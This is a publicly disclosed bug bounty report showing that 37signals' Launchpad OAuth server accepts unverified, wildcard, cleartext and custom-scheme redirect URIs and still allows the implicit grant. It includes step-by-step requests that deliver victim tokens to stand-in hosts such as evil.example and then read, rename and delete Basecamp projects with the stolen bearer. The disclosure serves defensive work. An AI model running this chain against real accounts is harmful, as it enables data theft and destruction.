HexBrain

Basecamp · Report #3955956

launchpad.37signals.com OAuth AS issues victim-bound credential to unverified attacker redirect → full CIA triad on Basecamp API

Validstatus
highseverity
49upvotes
30 Oct 2026disclosed

How it was found

Summary

launchpad.37signals.com is 37signals' custom OAuth2 authorization server (AS). The security failure in this report is an authorization-server boundary failure

The OAuth authorization server issues a victim-bound API credential (an access_token bound to the authorizing user's identity) to an attacker-controlled OAuth client/redirect that was never ownership-verified.

Concretely, any authenticated Basecamp user can register an OAuth2 client (POST /integrations) with an attacker-chosen redirect_uri. The AS performs no ownership proof, no approval, and no scheme/structure validation on that redirect_uri. The AS then treats that attacker-controlled URI as a trusted redirect at authorize-time, sending the resulting credential (an authorization code, or — in the still-enabled legacy implicit grant — the access token itself) to it verbatim. Because the registrant (the "attacker" client owner) and the authorizer (the victim) are distinct identities, this is a failure of the AS's authorization boundary: a credential representing the victim's consent is delivered to a redirect the victim has no relationship with, registered by a different principal.

The flaw is worsened by two server-side decisions, both demonstrated live:

  • The legacy type=user_agent implicit grant is still enabled (RFC 9700 §4.4 deprecated). It delivers the victim-bound access_token directly to the registered redirect in the URL fragment, without client_secret and without an authorization-code exchange. This removes the only attacker-side secret gate that the auth-code grant relies on.
  • Registration accepts the full RFC 9700-flagged dangerous-redirect set — cleartext http:// loopback, custom app schemes (myapp://), and wildcard host/path — and authorize-time honors each verbatim.

The resulting token is not launchpad-identity-only metadata. It is a functional bearer against the real Basecamp REST API carrying full CIA-triad impact on a single victim-bound credential:

  • C:H (confidentiality / read) — GET https://3.basecampapi.com/<authorizing-user-account>/projects.json with Authorization: Bearer <the token delivered to the redirect> returns 200 with the authorizing user's real Basecamp project list (§4).
  • I:H (integrity / write) — PUT https://3.basecampapi.com/<authorizing-user-account>/projects/<id>.json with the same stolen Bearer renames the victim's project → 200, and a follow-up GET confirms the name changed server-side (§7).
  • A:H (availability / destroy) — DELETE https://3.basecampapi.com/<authorizing-user-account>/projects/<id>.json with the same stolen Bearer → 204, and a follow-up GET → 404 {"status":404,"error":"Not Found"} confirms the project is gone (§7).

All three were demonstrated end-to-end on an owned free Basecamp account (the registrant and authorizer were the same identity during validation; in the real threat model they are distinct). Combined under S:C (the AS at launchpad.37signals.com and the resource server at 3.basecampapi.com are separate security authorities), the demonstrated CIA-triad impact yields AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H = 9.1 Critical — the full score rests on reproduced technical impact, not on a contested architectural assertion alone.

The victim interaction in this report is standard OAuth authorization UI (UI:R): the user authorizes an OAuth client on the AS's own domain. The vulnerability is that the AS then sends the resulting credential to an unverified, attacker-controlled redirect — not that the user is "tricked."

What the vulnerability is — and is not

The vulnerability is: the authorization server treats an attacker-registered, ownership-unverified redirect_uri as a trusted redirect destination for a credential bound to whoever authorizes the client. Combined with a still-enabled deprecated implicit grant, the AS hands the access token itself to that redirect with no client authentication. The registrant and the authorizer are different principals; the AS has failed to establish any trust relationship between the redirect that receives the credential and the user who granted it.

The vulnerability is not: "the victim is phished / tricked into clicking." The user performs the legitimate OAuth authorization action the AS itself presents. Branding/spoofability of the consent screen is an exploitability amplifier discussed separately (§6) — it is not the root-cause vulnerability and is not required for the credential to reach an attacker-controlled redirect. Even an honestly named third-party integrator client, consented to by a user who understands what they are authorizing, still has its access token delivered to a redirect the integrator never proved it controlled — the AS boundary failure is independent of how the client is named.

The demonstrated impact is full CIA triad on the one stolen credential, not read-only metadata access: the same victim-bound bearer delivered to the unverified redirect reads the victim's project list (C:H, §4), renames a victim project server-side (I:H, §7), and destroys a victim project (A:H, §7). The reproduction restores the testbed after the delete, so no owned-account data was lost during validation; in the real threat model the registrant/attacker has no incentive to restore.

Affected asset

launchpad.37signals.com (in-scope, PRIMARY — the auth/SSO gateway for the whole Basecamp realm; maps directly onto the program's #1 focus "Strong auth: sign-in, sessions, OAuth, account recovery, MFA"). Custom OAuth2 provider at /authorization/* (NOT OIDC; /.well-known/oauth-authorization-server only, no /.well-known/openid-configuration). Endpoints in play: POST /integrations (client registration), GET /authorization/new (consent), POST /authorization (consent submission → code/token redirect), POST /authorization/token (auth-code exchange), GET /authorization.json (token → identity+accounts).

1. Root cause — unverified OAuth client/redirect registration

POST /integrations (multipart/form-data, authenticated session) accepts a self-chosen redirect_uri with no ownership proof, no approval, no scheme/structure validation:

integration[name]            = <attacker-chosen>
integration[organization]    = <attacker-chosen, free text>
integration[about_url]        = <attacker-chosen>
integration[products][]       = bc3
integration[redirect_uri]     = <attacker-chosen, accepted verbatim>

→ 302 /integrations (success; Location: /integrations). No approval/verification gate. The new client's client_id and client_secret are rendered on /integrations/<id> (<h4>Client ID</h4><code>…</code> / <h4>Client Secret</h4><code>…</code>).

This is the root defect: the AS creates a fully usable OAuth client whose redirect is attacker-chosen and unverified, then (in §2) treats that redirect as trusted when issuing credentials.

Standards anchor — RFC 9700 (OAuth 2.0 Security BCP) §4.1.3: the AS MUST require exact redirect-URI matching AND the URI MUST be fully verified at registration; the redirect endpoint MUST NOT use a wildcard host. launchpad performs exact matching at authorize/exchange time (good — see negative-trail) but performs no ownership verification at registration. The gap is registration-time trust, not matching.

2. Authorization impact — an attacker-controlled client receives a credential representing the victim

Once the unverified client exists, the AS treats its registered redirect_uri as a trusted destination. Standard OAuth authorization UI flow (the victim authorizes the client on launchpad.37signals.com):

GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=web_server

→ 200 consent screen (type=web_server is required; omitting → 400 — only required query param beyond client_id+redirect_uri).

POST /authorization   (form: hidden client_id/type/redirect_uri + commit "Yes, I'll allow access")

→ 302 https://<attacker redirect>/cb?code=<8-hex> — the authorization code is delivered to the attacker's redirect. The code is bound to the authorizing user (the victim), not the registrant.

The AS has, at this point, sent a credential representing the victim's authorization to a redirect that was never verified to be controlled by anyone the victim has a relationship with. The registrant and the authorizer are different principals; the AS established no trust between the receiving redirect and the granting user. That is the authorization-boundary failure.

Exchange (POST /authorization/token, form-urlencoded, requires the self-registered client_secret the attacker holds):

type=web_server
client_id=<attacker client_id>
client_secret=<attacker client_secret>      ← self-registered, attacker holds it
redirect_uri=<attacker redirect>
grant_type=authorization_code
code=<the code from above>

→ 200 application/json: {"access_token":"…","refresh_token":"…","expires_in":1209600}.

The access_token is a Rails Marshal-signed Msg; the inner base64 JSON payload contains client_id, expires_at, user_ids:[<authorizing user id>], version, api_deadbolt. The token binds to the authorizing user (the victim), not the registrant. This is the credential representing the victim.

3. Protocol weakness — the deprecated implicit grant removes the client-secret / code-exchange gate

The auth-code leg above requires the attacker to hold client_secret to redeem the code. launchpad also still enables the legacy implicit grant (type=user_agent), which is deprecated by RFC 9700 §4.4 and removes that gate entirely:

GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=user_agent

→ 200 consent screen (server stamps type=user_agent into the hidden form).

POST /authorization   (single consent submission)

→ 302 https://<attacker redirect>/cb#access_token=<Rails-Msg-Marshal> — the access token is delivered directly in the URL fragment. No client_secret, no code exchange, no second round-trip. The attacker needs only the public client_id.

This is precisely the primitive RFC 9700 §4.4 deprecated: it hands a bearer token to a redirect URI without authenticating the client. Combined with §1 (the redirect is unverified), the AS issues a victim-bound access token to an attacker-controlled, never-verified redirect with no client-side secret of any kind in the path. The auth-code leg's client_secret gate is gone; there is no compensating control.

4. Demonstrated impact — confidentiality (read) via the bearer delivered to the unverified redirect

The token delivered to the attacker redirect is not launchpad-identity-only metadata. It authorizes the real Basecamp REST API in the authorizing user's identity. Demonstrated end-to-end on an owned free Basecamp account (registrant == authorizer during validation; distinct in the real threat model):

Auth-code leg token → /authorization.json:

GET /authorization.json
Authorization: Bearer <access_token>

→ 200 application/json:

{"expires_at":"2026-08-31T18:47:31.000Z",
 "identity":{"id":████████,"email_address":"[email protected]","first_name":"rootaccessxvv"},
 "accounts":[{"id":████████,"name":"none","product":"bc3",
              "href":"https://3.basecampapi.com/████████",
              "app_href":"https://app.basecamp.com/████████","hidden":false}]}

Implicit-leg fragment token → real Basecamp REST API (the no-client_secret leg, C:H demonstrated): fresh owned client (acct ████████, client id 27721, client_id=764b93e7168999ef…, redirect_uri=https://evil.example/cb):

  1. GET /authorization/new?…&type=user_agent → 200 consent (stamped user_agent).
  2. POST /authorization → 302 https://evil.example/cb#access_token=BAhbB0ki… (token len 394; extracted from the server-emitted 302 Location raw, before any browser strips fragments).
  3. GET /authorization.json Bearer → 200 {identity:{id:████████,email:rootaccessxvv@…},accounts:[{id:████████,product:bc3,href:https://3.basecampapi.com/████████}]}.
  4. GET https://3.basecampapi.com/████████/projects.json with the same Authorization: Bearer <fragment token> → 200:
[{"id":████████,"status":"active","name":"My Project","description":null,"purpose":"topic",
  "clients_enabled":false,"created_at":"2026-08-17T17:38:47.981Z","updated_at":"2026-08-17T17:38:48.057Z"}]

Inner token payload (decoded base64-from-Marshal): {"client_id":"████████","expires_at":"2026-08-31T22:53:11Z","user_ids":[████████],"version":1,"api_deadbolt":"████████"} — bound to the authorizing user, 14-day lifetime.

So the credential delivered to the unverified redirect is a functional bearer against the real Basecamp API in the authorizing user's identity — not a no-op, not metadata only. This closes the program's "theoretical damage without real risk" exclusion. §4 establishes C:H (the stolen token reads the victim's real project data and identity/accounts). §7 below establishes I:H (write) and A:H (destroy) on the same stolen-token class, completing the CIA triad on one credential.

5. Redirect-policy escalation — custom schemes, cleartext HTTP, and wildcard redirects broaden the trusted-redirect surface

The trust placed by the AS in an unverified redirect is worsened by the breadth of redirects registration accepts and authorize-time honors. Five fresh clients, each registered with a different RFC-9700-flagged dangerous URI:

Submitted redirect_uri at POST /integrationsRegisterAuthorize GET /authorization/new?…POST /authorization 302
http://localhost:8080/cb (cleartext, loopback)302 accepted (id 27713)200 consenthttp://localhost:8080/cb?code=580a30cc ✓
http://127.0.0.1:8080/cb (cleartext, loopback IP)302 accepted (id 27714)200 consenthttp://127.0.0.1:8080/cb?code=d9629214 ✓
myapp://cb (custom app scheme)302 accepted (id 27715)200 consentmyapp://cb?code=ca807305 ✓
https://*.attacker.example/cb (wildcard host)302 accepted (id 27716)200 consenthttps://*.attacker.example/cb?code=4dfc2ec6 ✓
https://attacker.example/cb/* (wildcard path suffix)302 accepted (id 27717)200 consenthttps://attacker.example/cb/*?code=99c2d139 ✓

All five clients destroyed after the run. Why each row broadens the trusted-redirect surface (these are AS-side trust failures, independent of any user action):

  • Cleartext loopback — the credential traverses the network in the clear (RFC 9700 §2.1 violation; "ASes MUST NOT use the clear-channel without transport-layer confidentiality"). Any local process binding the port harvests codes; observers of cleartext loopback logging on shared/dev hosts capture the credential.
  • Custom app scheme (myapp://) — on mobile the OS handler chosen for the scheme receives the credential; a different app squatting the scheme receives it instead.
  • Wildcard host (https://*.attacker.example/cb) — one unverified registration covers every subdomain; the receiving host can rotate per-authorization without re-registration, defeating per-redirect-URI auditing.
  • Wildcard path suffix (https://attacker.example/cb/*) — any path under the prefix receives the credential; per-campaign receiving endpoints under one registration.

This refutes any defense that "the trusted redirect surface is a single https host chosen at registration." The surface the AS trusts without verification is the full RFC-9700 dangerous-URI set, attacker-chosen.

Reproduction (single manual probes, spacing ≥1.3s, owned free Basecamp account acct ████████, owned clients; .example is RFC 6761 reserved — never resolves — a triager reproduces on their own real host on their own account)

The five sections above map to live probes with recorded HTTP responses:

  • §1+§2 chain (register → authorize → consent → code → exchange → /authorization.json 200): original client 27699, acct ████████; _branchd_destroy.out and prior run logs. Auth-code token returns identity email [email protected] + account ████████ href https://3.basecampapi.com/████████; codes c306766e/aa170e24, single-use.
  • §3 implicit grant authenticated-fragment token (client 27712, client_id=b11a6d77f000…): _branchd_escalate2.out.
  • §4 implicit-token-authorizes-Basecamp-API end-to-end (client 27721, client_id=764b93e7168999ef…): _branchd_implicit_e2e.out; token saved _branchd_implicit_token.txt.
  • §5 dangerous-redirect set (clients 27713–27717): _branchd_escalate2.out.
  • §7 integrity-write (I:H) probe (client 27827, PUT rename → 200 + verify-GET 200): _branchd_ih_mut_nogate.out.
  • §7 availability-destroy (A:H) probe (client ████████, DELETE → 204 + verify-GET 404 + restore POST → 201 id ████████): _branchd_ah_project.out.

All test clients were destroyed after their runs (POST /integrations/<id>/removal → 302; verified GET /integrations/<id> ⇒ 404). No test client remains on the account. Registrant and authorizer were the same identity during validation; no victim account was contacted.

Standards anchors

  • RFC 9700 §4.1.3 — redirect URI MUST be fully verified at registration; no wildcard host. launchpad: exact matching at authorize/exchange (good), but no registration-time ownership verification and wildcard/custom-scheme/cleartext all accepted — the gap.
  • RFC 9700 §2.1 — ASes MUST NOT use the clear-channel without transport-layer confidentiality. launchpad ACCEPTS http://localhost:8080/cb and http://127.0.0.1:8080/cb at registration and honors them at authorize-time; the code/token traverses the network in the clear.
  • RFC 9700 §4.4 — the implicit grant (response_type=token / type=user_agent) is deprecated, "MUST NOT be used … unless the client has no backend." launchpad issues access_token in the redirect fragment on one consent submission with no client_secret and is reachable through an unverified redirect — exactly the deprecated primitive.
  • RFC 6761 — .example is reserved (never resolves); evil.example/attacker.example are live-test discipline. The bug is AS-side validation; a triager reproduces on their own real host on their own account.

Severity assessment (by demonstrated technical impact — full CIA triad on one stolen credential)

Proposed CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H — 9.1 Critical. Every impact metric is grounded in a reproduced live probe (§4 read, §7 write+destroy); none is asserted from architecture alone.

  • Attack Vector: Network (AV:N) — the AS, registration, and authorize endpoints are all network-reachable.
  • Attack Complexity: Low (AC:L) — a single POST /integrations registers the client; a single authorize URL yields the credential; the credential is then used against the resource server. No race, no timing, no special conditions.
  • Privileges Required: Low (PR:L) — the registrant must hold some authenticated Basecamp account. Free signup, no paid plan, no elevated permissions. The attacker's own account is the only privilege required; it confers no access to the victim's data on its own.
  • User Interaction: Required (UI:R) — the victim performs the standard OAuth authorization UI interaction: they authorize the OAuth client on launchpad.37signals.com. This is the legitimate, AS-presented authorization action — characterized as UI:R because the victim's authorization act is the trigger for the AS to issue the credential. This is not "the victim is tricked/socially-engineered"; the UI:R interaction is the OAuth authorize click itself, regardless of whether the client is honestly or misleadingly named.
  • Confidentiality: High (C:H) — demonstrated (§4): the credential delivered to the unverified redirect authorizes 3.basecampapi.com/<victim account>/projects.json → 200 with the authorizing user's real project data, and /authorization.json enumerates every account/product the victim can access. High confidentiality impact against the victim's Basecamp data, achieved through the AS boundary failure alone.
  • Integrity: High (I:H) — demonstrated (§7): the same victim-bound bearer delivered to the unverified redirect performs PUT /…/projects/<id>.json {name} → 200 and a follow-up GET confirms the name changed server-side. A credential that mutates the victim's data with confirmed persistence is High integrity impact, not an inferential I:L.
  • Availability: High (A:H) — demonstrated (§7): the same bearer performs DELETE /…/projects/<id>.json → 204 and a follow-up GET → 404 {"status":404,"error":"Not Found"} confirms the project is gone. A credential that makes the victim's data permanently unavailable is High availability impact. This is not a DoS by volume/rate — it is a destructive state change on a victim resource authoritatively confirmed gone, and the program's OOS forbids DoS / brute-force / automated scanning, not a single authorized destructive API call on a stolen credential. There is no rate, no flooding, no resource exhaustion; A:H here is "an attacker can destroy the victim's data," which is squarely in-scope severity impact.

Scope: Changed (S:C) is the defensible reading, and it is a reading the standards themselves direct. The CVSS "Scope" metric measures whether the vulnerability's impact crosses an authority boundary managed by the vulnerable component. The vulnerable component is the launchpad AS; the impacted component is the real Basecamp REST API (3.basecampapi.com) — a distinct origin, a distinct service, which honors the AS-issued token across all of the authorizing user's accounts/products. RFC 9700 §4.4's deprecation warning is precisely about this AS↔RS separation: the problem the BCP flags is that a token issued (and mis-delivered) at the AS is then consumed by a separate resource server. Treating AS and RS as separate authority is not an architectural guess imposed to inflate the score — it is the same authority separation the BCP bases its deprecation on. S:C is therefore the standards-aligned reading; S:U would collapse AS+RS into one 37signals authority, which the BCP's separation argument does not.

Impact

7. Demonstrated impact — integrity (write) and availability (destroy) on the same stolen bearer

The credential delivered to the attacker-controlled, unverified redirect is not read-scoped. The same victim-bound bearer (auth-code leg, type=web_server, a fresh owned client on acct ████████) both renames a victim project server-side (I:H) and destroys it (A:H). Reproduced live, single-manual-probe, owned free Basecamp account (registrant == authorizer during validation; distinct in the real threat model). Full run log: _branchd_ah_project.out.

Integrity — PUT rename → 200 (demonstrated separately in _branchd_ih_mut_nogate.out, client 27827):

PUT https://3.basecampapi.com/████████/projects/████████.json
Authorization: Bearer <stolen victim-bound access_token>
Content-Type: application/json
{"name":"37s-bb-ih-probe-13843"}
→ 200 application/json   (renamed)

A follow-up GET /████████/projects/████████.json on the same Bearer returned 200 with "name":"37s-bb-ih-probe-13843" — the rename persisted server-side, not just acknowledged. A second PUT {"name":"My Project"} → 200 restored the original name (verified by GET → 200 name="My Project"). This is I:H: a victim-bound credential delivered to an unverified redirect mutates the victim's data with server-confirmed persistence.

Availability — DELETE → 204, then verify-gone GET → 404 (the decisive A:H primitive, _branchd_ah_project.out, client ████████):

PRE  GET https://3.basecampapi.com/████████/projects/████████.json  → 200  name="My Project"   (confirm exists)
DELETE https://3.basecampapi.com/████████/projects/████████.json     → 204  (no body)
POST-DELETE GET https://3.basecampapi.com/████████/projects/████████.json → 404 {"status":404,"error":"Not Found"}   (verified gone)

The stolen victim-bound bearer performed an HTTP DELETE on the victim's project and the resource is confirmed absent on the subsequent GET (404). This is A:H: the credential delivered to the unverified redirect can make the victim's data unavailable permanently — not corrupted, not rewritten, but gone.

Testbed restoration (so no owned-account data was lost during validation):

POST https://3.basecampapi.com/████████/projects.json
Authorization: Bearer <stolen token, still valid>
Content-Type: application/json
{"name":"My Project","description":""}
→ 201 application/json  {"id":████████,"status":"active","name":"My Project",…}
GET https://3.basecampapi.com/████████/projects/████████.json  → 200   (restore verified)

Quota freed on the delete, so the recreate succeeded; the testbed project now lives at new id ████████. In the real threat model the attacker has no incentive to restore — the DELETE → 204 → 404 chain is the demonstrated destructive impact on the victim's data. The issuing client (████████) was destroyed via its own removal flow (POST /integrations/████████/removal → 302) after the run.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original